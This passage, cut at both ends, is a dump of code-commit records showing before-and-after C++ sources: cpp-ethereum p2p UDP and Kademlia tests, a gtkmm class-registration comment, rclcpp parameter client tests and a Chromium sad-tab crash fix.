d(bi::udp::endpoint(boost::asio::ip::address::from_string(\"127.0.0.1\"), 30300), bytes({65,65,65,65}));\n\tTestUDPSocket a; a.m_socket->connect(); a.start();\n\ta.m_socket->send(d);\n\tsleep(1);\n\tBOOST_REQUIRE_EQUAL(true, a.success);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n\n<commit_msg>code review<commit_after>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file net.cpp\n * @author Alex Leverington <nessence@gmail.com>\n * @date 2014\n *\/\n\n#include <boost\/test\/unit_test.hpp>\n#include <libdevcore\/Worker.h>\n#include <libdevcrypto\/Common.h>\n#include <libp2p\/UDP.h>\n#include <libp2p\/NodeTable.h>\nusing namespace std;\nusing namespace dev;\nusing namespace dev::p2p;\nnamespace ba = boost::asio;\nnamespace bi = ba::ip;\n\nBOOST_AUTO_TEST_SUITE(p2p)\n\n\/**\n * Only used for testing. Not useful beyond tests.\n *\/\nclass TestHost: public Worker\n{\npublic:\n\tTestHost(): Worker(\"test\",0), m_io() {};\n\tvirtual ~TestHost() { m_io.stop(); stopWorking(); }\n\tvoid start() { startWorking(); }\n\tvoid doWork() { m_io.run(); }\n\tvoid doneWorking() { m_io.reset(); m_io.poll(); m_io.reset(); }\n\t\nprotected:\n\tba::io_service m_io;\n};\n\nstruct TestNodeTable: public NodeTable\n{\n\t\/\/\/ Constructor\n\tusing NodeTable::NodeTable;\n\t\n\tstatic std::vector<std::pair<KeyPair,unsigned>> createTestNodes(unsigned _count)\n\t{\n\t\tstd::vector<std::pair<KeyPair,unsigned>> ret;\n\t\tasserts(_count < 1000);\n\t\tstatic uint16_t s_basePort = 30500;\n\t\t\n\t\tret.clear();\n\t\tfor (unsigned i = 0; i < _count; i++)\n\t\t{\n\t\t\tKeyPair k = KeyPair::create();\n\t\t\tret.push_back(make_pair(k,s_basePort+i));\n\t\t}\n\t\t\n\t\treturn std::move(ret);\n\t}\n\t\n\tvoid pingTestNodes(std::vector<std::pair<KeyPair,unsigned>> const& _testNodes)\n\t{\n\t\tbi::address ourIp = bi::address::from_string(\"127.0.0.1\");\n\t\tfor (auto& n: _testNodes)\n\t\t{\n\t\t\tping(bi::udp::endpoint(ourIp, n.second));\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\t\t}\n\t}\n\t\n\tvoid populateTestNodes(std::vector<std::pair<KeyPair,unsigned>> const& _testNodes, size_t _count = 0)\n\t{\n\t\tif (!_count)\n\t\t\t_count = _testNodes.size();\n\n\t\tbi::address ourIp = bi::address::from_string(\"127.0.0.1\");\n\t\tfor (auto& n: _testNodes)\n\t\t\tif (_count--)\n\t\t\t\tnoteNode(n.first.pub(), bi::udp::endpoint(ourIp, n.second));\n\t\t\telse\n\t\t\t\tbreak;\n\t}\n\t\n\tvoid reset()\n\t{\n\t\tGuard l(x_state);\n\t\tfor (auto& n: m_state) n.nodes.clear();\n\t}\n};\n\n\/**\n * Only used for testing. Not useful beyond tests.\n *\/\nstruct TestNodeTableHost: public TestHost\n{\n\tTestNodeTableHost(unsigned _count = 8): m_alias(KeyPair::create()), nodeTable(new TestNodeTable(m_io, m_alias)), testNodes(TestNodeTable::createTestNodes(_count)) {};\n\t~TestNodeTableHost() { m_io.stop(); stopWorking(); }\n\n\tvoid setup() { for (auto n: testNodes) nodeTables.push_back(make_shared<TestNodeTable>(m_io,n.first,n.second)); }\n\t\n\tvoid pingAll() { for (auto& t: nodeTables) t->pingTestNodes(testNodes); }\n\t\n\tvoid populateAll(size_t _count = 0) { for (auto& t: nodeTables) t->populateTestNodes(testNodes, _count); }\n\t\n\tvoid populate(size_t _count = 0) { nodeTable->populateTestNodes(testNodes, _count); }\n\t\n\tKeyPair m_alias;\n\tshared_ptr<TestNodeTable> nodeTable;\n\tstd::vector<std::pair<KeyPair,unsigned>> testNodes; \/\/ keypair and port\n\tstd::vector<shared_ptr<TestNodeTable>> nodeTables;\n};\n\nclass TestUDPSocket: UDPSocketEvents, public TestHost\n{\npublic:\n\tTestUDPSocket(): m_socket(new UDPSocket<TestUDPSocket, 1024>(m_io, *this, 30300)) {}\n\n\tvoid onDisconnected(UDPSocketFace*) {};\n\tvoid onReceived(UDPSocketFace*, bi::udp::endpoint const&, bytesConstRef _packet) { if (_packet.toString() == \"AAAA\") success = true; }\n\n\tshared_ptr<UDPSocket<TestUDPSocket, 1024>> m_socket;\n\t\n\tbool success = false;\n};\n\nBOOST_AUTO_TEST_CASE(test_neighbours_packet)\n{\n\tKeyPair k = KeyPair::create();\n\tstd::vector<std::pair<KeyPair,unsigned>> testNodes(TestNodeTable::createTestNodes(16));\n\tbi::udp::endpoint to(boost::asio::ip::address::from_string(\"127.0.0.1\"), 30000);\n\t\n\tNeighbours out(to);\n\tfor (auto n: testNodes)\n\t{\n\t\tNeighbours::Node node;\n\t\tnode.ipAddress = boost::asio::ip::address::from_string(\"127.0.0.1\").to_string();\n\t\tnode.port = n.second;\n\t\tnode.node = n.first.pub();\n\t\tout.nodes.push_back(node);\n\t}\n\tout.sign(k.sec());\n\n\tbytesConstRef packet(out.data.data(), out.data.size());\n\tbytesConstRef rlpBytes(packet.cropped(97, packet.size() - 97));\n\tNeighbours in = Neighbours::fromBytesConstRef(to, rlpBytes);\n\tint count = 0;\n\tfor (auto n: in.nodes)\n\t{\n\t\tBOOST_REQUIRE_EQUAL(testNodes[count].second, n.port);\n\t\tBOOST_REQUIRE_EQUAL(testNodes[count].first.pub(), n.node);\n\t\tBOOST_REQUIRE_EQUAL(sha3(testNodes[count].first.pub()), sha3(n.node));\n\t\tcount++;\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(test_findnode_neighbours)\n{\n\t\/\/ Executing findNode should result in a list which is serialized\n\t\/\/ into Neighbours packet. Neighbours packet should then be deserialized\n\t\/\/ into the same list of nearest nodes.\n}\n\nBOOST_AUTO_TEST_CASE(test_windows_template)\n{\n\tbi::udp::endpoint ep;\n\tPingNode p(ep);\n}\n\nBOOST_AUTO_TEST_CASE(kademlia)\n{\n\t\/\/ Not yet a 'real' test.\n\tTestNodeTableHost node(8);\n\tnode.start();\n\tnode.nodeTable->join(); \/\/ ideally, joining with empty node table logs warning we can check for\n\tnode.setup();\n\tnode.populate();\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n\t\n\tnode.populateAll();\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n\t\n\tnode.nodeTable->reset();\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n\n\tnode.populate(1);\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n\t\n\tnode.nodeTable->join();\n\tthis_thread::sleep_for(chrono::milliseconds(2000));\n\tclog << \"NodeTable:\\n\" << *node.nodeTable.get() << endl;\n}\n\nBOOST_AUTO_TEST_CASE(test_udp_once)\n{\n\tUDPDatagram d(bi::udp::endpoint(boost::asio::ip::address::from_string(\"127.0.0.1\"), 30300), bytes({65,65,65,65}));\n\tTestUDPSocket a; a.m_socket->connect(); a.start();\n\ta.m_socket->send(d);\n\tsleep(1);\n\tBOOST_REQUIRE_EQUAL(true, a.success);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- c++ -*-\n\/* $Id$ *\/\n\n\/* Copyright (C) 1998-2002 The gtkmm Development Team\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free\n * Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n *\/\n\n#include <glibmm\/class.h>\n#include <glibmm\/property.h>\n#include <glibmm\/ustring.h>\n#include <glibmm\/utility.h>\n\n\nnamespace Glib\n{\n\nvoid Class::register_derived_type(GType base_type)\n{\n  return register_derived_type(base_type, 0);\n}\n\nvoid Class::register_derived_type(GType base_type, GTypeModule* module)\n{\n  if(gtype_)\n    return; \/\/ already initialized\n\n  \/\/0 is not a valid GType.\n  \/\/It would lead to a crash later.\n  \/\/We allow this, failing silently, to make life easier for gstreamermm.\n  if(base_type == 0)\n    return; \/\/ already initialized\n\n  GTypeQuery base_query = { 0, 0, 0, 0, };\n  g_type_query(base_type, &base_query);\n\n  \/\/GTypeQuery::class_size is guint but GTypeInfo::class_size is guint16.\n  const guint16 class_size =\n   (guint16)base_query.class_size;\n\n  \/\/GTypeQuery::instance_size is guint but GTypeInfo::instance_size is guint16.\n  const guint16 instance_size =\n   (guint16)base_query.instance_size;\n\n  const GTypeInfo derived_info =\n  {\n    class_size,\n    0, \/\/ base_init\n    0, \/\/ base_finalize\n    class_init_func_,\n    0, \/\/ class_finalize\n    0, \/\/ class_data\n    instance_size,\n    0, \/\/ n_preallocs\n    0, \/\/ instance_init\n    0, \/\/ value_table\n  };\n\n  if(!(base_query.type_name))\n  {\n    g_critical(\"Class::register_derived_type(): base_query.type_name is NULL.\");\n    return;\n  }\n\n  gchar* derived_name = g_strconcat(\"gtkmm__\", base_query.type_name, (void*)0);\n\n  if(module)\n    gtype_ = g_type_module_register_type(module, base_type, derived_name, &derived_info, GTypeFlags(0));\n  else\n    gtype_ = g_type_register_static(base_type, derived_name, &derived_info, GTypeFlags(0));\n\n  g_free(derived_name);\n}\n\nGType Class::clone_custom_type(const char* custom_type_name) const\n{\n  std::string full_name (\"gtkmm__CustomObject_\");\n  Glib::append_canonical_typename(full_name, custom_type_name);\n\n  GType custom_type = g_type_from_name(full_name.c_str());\n\n  if(!custom_type)\n  {\n    g_return_val_if_fail(gtype_ != 0, 0);\n\n    \/\/ Cloned custom types derive from the wrapper's parent type,\n    \/\/ so that g_type_class_peek_parent() works correctly.\n    const GType base_type = g_type_parent(gtype_);\n\n    GTypeQuery base_query = { 0, 0, 0, 0, };\n    g_type_query(base_type, &base_query);\n\n    \/\/GTypeQuery::class_size is guint but GTypeInfo::class_size is guint16.\n    const guint16 class_size =\n      (guint16)base_query.class_size;\n\n    \/\/GTypeQuery::instance_size is guint but GTypeInfo::instance_size is guint16.\n    const guint16 instance_size =\n      (guint16)base_query.instance_size;\n\n    const GTypeInfo derived_info =\n    {\n      class_size,\n      0, \/\/ base_init\n      0, \/\/ base_finalize\n      &Class::custom_class_init_function,\n      0, \/\/ class_finalize\n      this, \/\/ class_data\n      instance_size,\n      0, \/\/ n_preallocs\n      0, \/\/ instance_init\n      0, \/\/ value_table\n    };\n\n    custom_type = g_type_register_static(\n        base_type, full_name.c_str(), &derived_info, GTypeFlags(0));\n  }\n\n  return custom_type;\n}\n\n\/\/ static\nvoid Class::custom_class_init_function(void* g_class, void* class_data)\n{\n  \/\/ The class_data pointer is set to 'this' by clone_custom_type().\n  const Class *const self = static_cast<Class*>(class_data);\n\n  g_return_if_fail(self->class_init_func_ != 0);\n\n  \/\/ Call the wrapper's class_init_function() to redirect\n  \/\/ the vfunc and default signal handler callbacks.\n  (*self->class_init_func_)(g_class, 0);\n\n  GObjectClass *const gobject_class = static_cast<GObjectClass*>(g_class);\n  gobject_class->get_property = &Glib::custom_get_property_callback;\n  gobject_class->set_property = &Glib::custom_set_property_callback;\n}\n\n} \/\/ namespace Glib\n\n<commit_msg>Add a comment<commit_after>\/\/ -*- c++ -*-\n\/* $Id$ *\/\n\n\/* Copyright (C) 1998-2002 The gtkmm Development Team\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free\n * Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n *\/\n\n#include <glibmm\/class.h>\n#include <glibmm\/property.h>\n#include <glibmm\/ustring.h>\n#include <glibmm\/utility.h>\n\n\nnamespace Glib\n{\n\nvoid Class::register_derived_type(GType base_type)\n{\n  return register_derived_type(base_type, 0);\n}\n\nvoid Class::register_derived_type(GType base_type, GTypeModule* module)\n{\n  if(gtype_)\n    return; \/\/ already initialized\n\n  \/\/0 is not a valid GType.\n  \/\/It would lead to a crash later.\n  \/\/We allow this, failing silently, to make life easier for gstreamermm.\n  if(base_type == 0)\n    return; \/\/ already initialized\n\n  GTypeQuery base_query = { 0, 0, 0, 0, };\n  g_type_query(base_type, &base_query);\n\n  \/\/GTypeQuery::class_size is guint but GTypeInfo::class_size is guint16.\n  const guint16 class_size =\n   (guint16)base_query.class_size;\n\n  \/\/GTypeQuery::instance_size is guint but GTypeInfo::instance_size is guint16.\n  const guint16 instance_size =\n   (guint16)base_query.instance_size;\n\n  const GTypeInfo derived_info =\n  {\n    class_size,\n    0, \/\/ base_init\n    0, \/\/ base_finalize\n    class_init_func_, \/\/Set by the caller ( *_Class::init() ).\n    0, \/\/ class_finalize\n    0, \/\/ class_data\n    instance_size,\n    0, \/\/ n_preallocs\n    0, \/\/ instance_init\n    0, \/\/ value_table\n  };\n\n  if(!(base_query.type_name))\n  {\n    g_critical(\"Class::register_derived_type(): base_query.type_name is NULL.\");\n    return;\n  }\n\n  gchar* derived_name = g_strconcat(\"gtkmm__\", base_query.type_name, (void*)0);\n\n  if(module)\n    gtype_ = g_type_module_register_type(module, base_type, derived_name, &derived_info, GTypeFlags(0));\n  else\n    gtype_ = g_type_register_static(base_type, derived_name, &derived_info, GTypeFlags(0));\n\n  g_free(derived_name);\n}\n\nGType Class::clone_custom_type(const char* custom_type_name) const\n{\n  std::string full_name (\"gtkmm__CustomObject_\");\n  Glib::append_canonical_typename(full_name, custom_type_name);\n\n  GType custom_type = g_type_from_name(full_name.c_str());\n\n  if(!custom_type)\n  {\n    g_return_val_if_fail(gtype_ != 0, 0);\n\n    \/\/ Cloned custom types derive from the wrapper's parent type,\n    \/\/ so that g_type_class_peek_parent() works correctly.\n    const GType base_type = g_type_parent(gtype_);\n\n    GTypeQuery base_query = { 0, 0, 0, 0, };\n    g_type_query(base_type, &base_query);\n\n    \/\/GTypeQuery::class_size is guint but GTypeInfo::class_size is guint16.\n    const guint16 class_size =\n      (guint16)base_query.class_size;\n\n    \/\/GTypeQuery::instance_size is guint but GTypeInfo::instance_size is guint16.\n    const guint16 instance_size =\n      (guint16)base_query.instance_size;\n\n    const GTypeInfo derived_info =\n    {\n      class_size,\n      0, \/\/ base_init\n      0, \/\/ base_finalize\n      &Class::custom_class_init_function,\n      0, \/\/ class_finalize\n      this, \/\/ class_data\n      instance_size,\n      0, \/\/ n_preallocs\n      0, \/\/ instance_init\n      0, \/\/ value_table\n    };\n\n    custom_type = g_type_register_static(\n        base_type, full_name.c_str(), &derived_info, GTypeFlags(0));\n  }\n\n  return custom_type;\n}\n\n\/\/ static\nvoid Class::custom_class_init_function(void* g_class, void* class_data)\n{\n  \/\/ The class_data pointer is set to 'this' by clone_custom_type().\n  const Class *const self = static_cast<Class*>(class_data);\n\n  g_return_if_fail(self->class_init_func_ != 0);\n\n  \/\/ Call the wrapper's class_init_function() to redirect\n  \/\/ the vfunc and default signal handler callbacks.\n  (*self->class_init_func_)(g_class, 0);\n\n  GObjectClass *const gobject_class = static_cast<GObjectClass*>(g_class);\n  gobject_class->get_property = &Glib::custom_get_property_callback;\n  gobject_class->set_property = &Glib::custom_set_property_callback;\n}\n\n} \/\/ namespace Glib\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2019 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <gtest\/gtest.h>\n\n#include <string>\n#include <memory>\n\n#include \"rclcpp\/rclcpp.hpp\"\n\n#include \"rcl_interfaces\/msg\/parameter_event.hpp\"\n\nclass TestParameterClient : public ::testing::Test\n{\npublic:\n  void OnMessage(const rcl_interfaces::msg::ParameterEvent::SharedPtr event)\n  {\n    (void)event;\n  }\n\nprotected:\n  static void SetUpTestCase()\n  {\n    rclcpp::init(0, nullptr);\n  }\n\n  void SetUp()\n  {\n    node = std::make_shared<rclcpp::Node>(\"test_parameter_client\", \"\/ns\");\n  }\n\n  void TearDown()\n  {\n    node.reset();\n  }\n\n  rclcpp::Node::SharedPtr node;\n};\n\n\/*\n   Testing async parameter client construction and destruction.\n *\/\nTEST_F(TestParameterClient, async_construction_and_destruction) {\n  {\n    auto asynchronous_client = std::make_shared<rclcpp::AsyncParametersClient>(node);\n    (void)asynchronous_client;\n  }\n\n  {\n    auto asynchronous_client = std::make_shared<rclcpp::AsyncParametersClient>(\n      node->get_node_base_interface(),\n      node->get_node_topics_interface(),\n      node->get_node_graph_interface(),\n      node->get_node_services_interface());\n    (void)asynchronous_client;\n  }\n\n  {\n    ASSERT_THROW(\n    {\n      auto asynchronous_client =\n        std::make_shared<rclcpp::AsyncParametersClient>(node, \"invalid_remote_node?\");\n      (void)asynchronous_client;\n    }, rclcpp::exceptions::InvalidServiceNameError);\n  }\n}\n\n\/*\n   Testing sync parameter client construction and destruction.\n *\/\nTEST_F(TestParameterClient, sync_construction_and_destruction) {\n  {\n    auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(node);\n    (void)synchronous_client;\n  }\n\n  {\n    auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(\n      std::make_shared<rclcpp::executors::SingleThreadedExecutor>(),\n      node);\n    (void)synchronous_client;\n  }\n\n  {\n    auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(\n      std::make_shared<rclcpp::executors::SingleThreadedExecutor>(),\n      node->get_node_base_interface(),\n      node->get_node_topics_interface(),\n      node->get_node_graph_interface(),\n      node->get_node_services_interface());\n    (void)synchronous_client;\n  }\n\n  {\n    ASSERT_THROW(\n    {\n      auto synchronous_client =\n        std::make_shared<rclcpp::SyncParametersClient>(node, \"invalid_remote_node?\");\n      (void)synchronous_client;\n    }, rclcpp::exceptions::InvalidServiceNameError);\n  }\n}\n\n\/*\n   Testing different methods for parameter event subscription from asynchronous clients.\n *\/\nTEST_F(TestParameterClient, async_parameter_event_subscription) {\n  auto callback = std::bind(&TestParameterClient::OnMessage, this, std::placeholders::_1);\n  {\n    auto asynchronous_client = std::make_shared<rclcpp::AsyncParametersClient>(node);\n    auto event_sub = asynchronous_client->on_parameter_event(callback);\n    (void)event_sub;\n  }\n\n  {\n    auto event_sub = rclcpp::AsyncParametersClient::on_parameter_event(node, callback);\n    (void)event_sub;\n  }\n\n  {\n    auto event_sub = rclcpp::AsyncParametersClient::on_parameter_event(\n      node->get_node_topics_interface(),\n      callback);\n    (void)event_sub;\n  }\n}\n\n\/*\n   Testing different methods for parameter event subscription from synchronous clients.\n *\/\nTEST_F(TestParameterClient, sync_parameter_event_subscription) {\n  auto callback = std::bind(&TestParameterClient::OnMessage, this, std::placeholders::_1);\n  {\n    auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(node);\n    auto event_sub = synchronous_client->on_parameter_event(callback);\n    (void)event_sub;\n  }\n\n  {\n    auto event_sub = rclcpp::SyncParametersClient::on_parameter_event(node, callback);\n    (void)event_sub;\n  }\n\n  {\n    auto event_sub = rclcpp::SyncParametersClient::on_parameter_event(\n      node->get_node_topics_interface(),\n      callback);\n    (void)event_sub;\n  }\n}\n<commit_msg>fix style from #963<commit_after>\/\/ Copyright 2019 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <gtest\/gtest.h>\n\n#include <string>\n#include <memory>\n\n#include \"rclcpp\/rclcpp.hpp\"\n\n#include \"rcl_interfaces\/msg\/parameter_event.hpp\"\n\nclass TestParameterClient : public ::testing::Test\n{\npublic:\n  void OnMessage(const rcl_interfaces::msg::ParameterEvent::SharedPtr event)\n  {\n    (void)event;\n  }\n\nprotected:\n  static void SetUpTestCase()\n  {\n    rclcpp::init(0, nullptr);\n  }\n\n  void SetUp()\n  {\n    node = std::make_shared<rclcpp::Node>(\"test_parameter_client\", \"\/ns\");\n  }\n\n  void TearDown()\n  {\n    node.reset();\n  }\n\n  rclcpp::Node::SharedPtr node;\n};\n\n\/*\n   Testing async parameter client construction and destruction.\n *\/\nTEST_F(TestParameterClient, async_construction_and_destruction) {\n  {\n    auto asynchronous_client = std::make_shared<rclcpp::AsyncParametersClient>(node);\n    (void)asynchronous_client;\n  }\n\n  {\n    auto asynchronous_client = std::make_shared<rclcpp::AsyncParametersClient>(\n      node->get_node_base_interface(),\n      node->get_node_topics_interface(),\n      node->get_node_graph_interface(),\n      node->get_node_services_interface());\n    (void)asynchronous_client;\n  }\n\n  {\n    ASSERT_THROW(\n    {\n      auto asynchronous_client = std::make_shared<rclcpp::AsyncParametersClient>(\n        node, \"invalid_remote_node?\");\n      (void)asynchronous_client;\n    }, rclcpp::exceptions::InvalidServiceNameError);\n  }\n}\n\n\/*\n   Testing sync parameter client construction and destruction.\n *\/\nTEST_F(TestParameterClient, sync_construction_and_destruction) {\n  {\n    auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(node);\n    (void)synchronous_client;\n  }\n\n  {\n    auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(\n      std::make_shared<rclcpp::executors::SingleThreadedExecutor>(),\n      node);\n    (void)synchronous_client;\n  }\n\n  {\n    auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(\n      std::make_shared<rclcpp::executors::SingleThreadedExecutor>(),\n      node->get_node_base_interface(),\n      node->get_node_topics_interface(),\n      node->get_node_graph_interface(),\n      node->get_node_services_interface());\n    (void)synchronous_client;\n  }\n\n  {\n    ASSERT_THROW(\n    {\n      auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(\n        node, \"invalid_remote_node?\");\n      (void)synchronous_client;\n    }, rclcpp::exceptions::InvalidServiceNameError);\n  }\n}\n\n\/*\n   Testing different methods for parameter event subscription from asynchronous clients.\n *\/\nTEST_F(TestParameterClient, async_parameter_event_subscription) {\n  auto callback = std::bind(&TestParameterClient::OnMessage, this, std::placeholders::_1);\n  {\n    auto asynchronous_client = std::make_shared<rclcpp::AsyncParametersClient>(node);\n    auto event_sub = asynchronous_client->on_parameter_event(callback);\n    (void)event_sub;\n  }\n\n  {\n    auto event_sub = rclcpp::AsyncParametersClient::on_parameter_event(node, callback);\n    (void)event_sub;\n  }\n\n  {\n    auto event_sub = rclcpp::AsyncParametersClient::on_parameter_event(\n      node->get_node_topics_interface(),\n      callback);\n    (void)event_sub;\n  }\n}\n\n\/*\n   Testing different methods for parameter event subscription from synchronous clients.\n *\/\nTEST_F(TestParameterClient, sync_parameter_event_subscription) {\n  auto callback = std::bind(&TestParameterClient::OnMessage, this, std::placeholders::_1);\n  {\n    auto synchronous_client = std::make_shared<rclcpp::SyncParametersClient>(node);\n    auto event_sub = synchronous_client->on_parameter_event(callback);\n    (void)event_sub;\n  }\n\n  {\n    auto event_sub = rclcpp::SyncParametersClient::on_parameter_event(node, callback);\n    (void)event_sub;\n  }\n\n  {\n    auto event_sub = rclcpp::SyncParametersClient::on_parameter_event(\n      node->get_node_topics_interface(),\n      callback);\n    (void)event_sub;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/sad_tab_helper.h\"\n\n#include \"chrome\/browser\/browser_shutdown.h\"\n#include \"content\/public\/browser\/notification_source.h\"\n#include \"content\/public\/browser\/notification_types.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"content\/public\/browser\/web_contents_view.h\"\n\n#if defined(OS_MACOSX)\n#include \"chrome\/browser\/ui\/cocoa\/tab_contents\/sad_tab_controller.h\"\n#elif defined(TOOLKIT_VIEWS)\n#include \"chrome\/browser\/ui\/views\/sad_tab_view.h\"\n#include \"ui\/views\/widget\/widget.h\"\n#elif defined(TOOLKIT_GTK)\n\n#include <gtk\/gtk.h>\n\n#include \"chrome\/browser\/tab_contents\/chrome_web_contents_view_delegate_gtk.h\"\n#include \"chrome\/browser\/ui\/gtk\/sad_tab_gtk.h\"\n#endif\n\nusing content::WebContents;\n\nSadTabHelper::SadTabHelper(WebContents* web_contents)\n    : content::WebContentsObserver(web_contents) {\n  registrar_.Add(this, content::NOTIFICATION_WEB_CONTENTS_CONNECTED,\n                 content::Source<WebContents>(web_contents));\n}\n\nSadTabHelper::~SadTabHelper() {\n}\n\nvoid SadTabHelper::RenderViewGone(base::TerminationStatus status) {\n  \/\/ Only show the sad tab if we're not in browser shutdown, so that TabContents\n  \/\/ objects that are not in a browser (e.g., HTML dialogs) and thus are\n  \/\/ visible do not flash a sad tab page.\n  if (browser_shutdown::GetShutdownType() != browser_shutdown::NOT_VALID)\n    return;\n\n  if (HasSadTab())\n    return;\n\n  InstallSadTab(status);\n}\n\nvoid SadTabHelper::Observe(int type,\n                           const content::NotificationSource& source,\n                           const content::NotificationDetails& details) {\n  switch (type) {\n    case content::NOTIFICATION_WEB_CONTENTS_CONNECTED:\n      if (HasSadTab()) {\n#if defined(OS_MACOSX)\n        sad_tab_controller_mac::RemoveSadTab(sad_tab_.get());\n#elif defined(TOOLKIT_VIEWS)\n        sad_tab_->Close();\n#elif defined(TOOLKIT_GTK)\n        GtkWidget* expanded_container =\n            ChromeWebContentsViewDelegateGtk::GetFor(web_contents())->\n                expanded_container();\n        gtk_container_remove(\n            GTK_CONTAINER(expanded_container), sad_tab_->widget());\n#else\n#error Unknown platform\n#endif\n        sad_tab_.reset();\n      }\n      break;\n\n    default:\n      NOTREACHED() << \"Got a notification we didn't register for.\";\n  }\n}\n\nvoid SadTabHelper::InstallSadTab(base::TerminationStatus status) {\n#if defined(OS_MACOSX)\n  sad_tab_.reset(\n      sad_tab_controller_mac::CreateSadTabController(web_contents()));\n#elif defined(TOOLKIT_VIEWS)\n  SadTabView::Kind kind =\n      status == base::TERMINATION_STATUS_PROCESS_WAS_KILLED ?\n      SadTabView::KILLED : SadTabView::CRASHED;\n  views::Widget::InitParams sad_tab_params(\n      views::Widget::InitParams::TYPE_CONTROL);\n  \/\/ It is not possible to create a native_widget_win that has no parent in\n  \/\/ and later re-parent it.\n  \/\/ TODO(avi): This is a cheat. Can this be made cleaner?\n  sad_tab_params.parent = web_contents()->GetView()->GetNativeView();\n  sad_tab_params.ownership =\n      views::Widget::InitParams::WIDGET_OWNS_NATIVE_WIDGET;\n  sad_tab_.reset(new views::Widget);\n  sad_tab_->Init(sad_tab_params);\n  sad_tab_->SetContentsView(new SadTabView(web_contents(), kind));\n\n  views::Widget::ReparentNativeView(\n      sad_tab_->GetNativeView(), web_contents()->GetView()->GetNativeView());\n  gfx::Rect bounds;\n  web_contents()->GetView()->GetContainerBounds(&bounds);\n  sad_tab_->SetBounds(gfx::Rect(bounds.size()));\n#elif defined(TOOLKIT_GTK)\n  sad_tab_.reset(new SadTabGtk(\n      web_contents(),\n      status == base::TERMINATION_STATUS_PROCESS_WAS_KILLED\n          ? SadTabGtk::KILLED\n          : SadTabGtk::CRASHED));\n  GtkWidget* expanded_container =\n      ChromeWebContentsViewDelegateGtk::GetFor(web_contents())->\n          expanded_container();\n  gtk_container_add(GTK_CONTAINER(expanded_container), sad_tab_->widget());\n  gtk_widget_show(sad_tab_->widget());\n#else\n#error Unknown platform\n#endif\n}\n\nbool SadTabHelper::HasSadTab() {\n  return sad_tab_.get() != NULL;\n}\n<commit_msg>Fix crash in TabContentsViewViews::Focus. This was caused by r125126. The subtle bug is that the SadTabHelper's Observe function use to reset TabContentsViewView's Widget pointer before it deleted the sad tab Widget. With my change, TabContentsViewWin would call SadTabHelper in the middle of its sad_tab_.reset() call and would use a Widget that's being destructed.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style 